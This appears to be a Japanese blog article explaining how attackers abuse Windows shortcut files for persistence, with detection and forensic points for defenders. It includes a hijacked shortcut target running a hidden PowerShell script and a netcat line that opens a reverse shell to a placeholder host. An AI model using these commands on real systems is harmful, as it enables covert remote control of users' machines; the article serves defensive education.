1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Windowsショートカット(.lnk)悪用による永続化の仕組み

1
Posted at

はじめに

Windows環境では、実行ファイルを直接改変しなくても ショートカット(.lnk)を悪用することで不正処理を実行させる手口があります。

ユーザーから見ると

  • アプリは普通に起動する
  • アイコンも変わらない
  • 動作も正常に見える

しかし内部では別の処理が実行されている可能性があります。

本記事では ショートカット改ざんの仕組みと、PowerShell + Netcat を例にした挙動の解説、Blue Teamの検知ポイントを整理します。


1. ショートカット(.lnk)とは

.lnk は Windows のショートカットファイルです。

例えばデスクトップの電卓アイコンは、通常次の実行ファイルを指しています。

C:\Windows\System32\calc.exe

ユーザーがクリックすると

explorer.exe
   ↓
calc.exe

という流れで電卓が起動します。


2. ショートカット改ざんの考え方

攻撃者はショートカットの Target(リンク先) を変更します。

例えば次のように変更されることがあります。

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

この場合

explorer.exe
   ↓
powershell.exe
   ↓
スクリプト実行
   ↓
calc.exe

という流れになります。

ユーザーから見ると

電卓が普通に起動

するため気付きにくいです。


3. PowerShellスクリプトの例

ショートカットが呼び出す PowerShell スクリプトの例です。

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe TARGET_IP 4445"

C:\Windows\System32\calc.exe

このスクリプトの処理は次の通りです。

① nc64.exe を実行
② 外部IPへ接続
③ cmd.exe を実行
④ calc.exe を起動

つまり

裏で通信
↓
その後電卓起動

という挙動になります。


4. nc64.exeとは?

nc64.exeNetcat の Windows 64bit版です。

Netcatは非常に有名なネットワークツールで

「ネットワークのスイスアーミーナイフ」

と呼ばれています。

理由は

  • TCP通信
  • UDP通信
  • ポートスキャン
  • データ転送
  • 簡易サーバ
  • 接続テスト

などを1つのツールで実行できるためです。


Netcatの基本構文

接続

nc IP PORT

nc TARGET_IP 4444

待ち受け

nc -lvp 4444

意味

-l listen
-v verbose
-p port

5. -e オプションの意味

今回の例では次のオプションが使われています。

-e cmd.exe

意味

cmd.exe の入出力を
ネットワーク接続へ送る

つまり

cmd.exe
↓
ネットワーク
↓
遠隔操作

という形になります。


6. PowerShellコマンドの意味

この部分

Start-Process -NoNewWindow

新しいウィンドウを作らずに実行

という意味です。

つまりユーザー画面には

黒いウィンドウが出ない

可能性があります。


7.ユーザー視点の挙動

ユーザーから見ると

電卓をクリック
↓
電卓が開く

だけです。

しかし内部では

クリック
↓
PowerShell
↓
nc64.exe
↓
外部通信
↓
calc.exe

が実行されています。


8. Blue Teamの検知ポイント

SOC / EDRでは次の挙動をチェックします。

不自然なプロセスチェーン

通常

explorer.exe
   ↓
calc.exe

改ざん

explorer.exe
   ↓
powershell.exe
   ↓
nc64.exe
   ↓
calc.exe

LOLBins の使用

注意すべきツール

powershell.exe
cmd.exe
wscript.exe
cscript.exe
mshta.exe

不審なネットワーク通信

外部IP
不明ポート

.lnkファイルの確認

確認場所

右クリック
→ プロパティ
→ Target

チェックポイント

PowerShell
cmd
スクリプト

などが含まれていないか確認します。


9. フォレンジック調査ポイント

インシデント調査では次を確認します。

ショートカット

Desktop
Start Menu
Startup

不審プロセス

powershell.exe
nc.exe
nc64.exe
ncat.exe

ログ

  • PowerShell Operational Log
  • Sysmon Event ID 1
  • EDR process tree

まとめ

ショートカット改ざんは非常にシンプルですが、実用的な手法です。

理由は

  • ユーザーが自然にクリックする
  • 見た目は正常
  • 実行ファイルを改変しない

ためです。

Blue Teamでは

プロセスチェーン
ショートカットのTarget
不審通信

を重点的に監視することで検知可能です。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?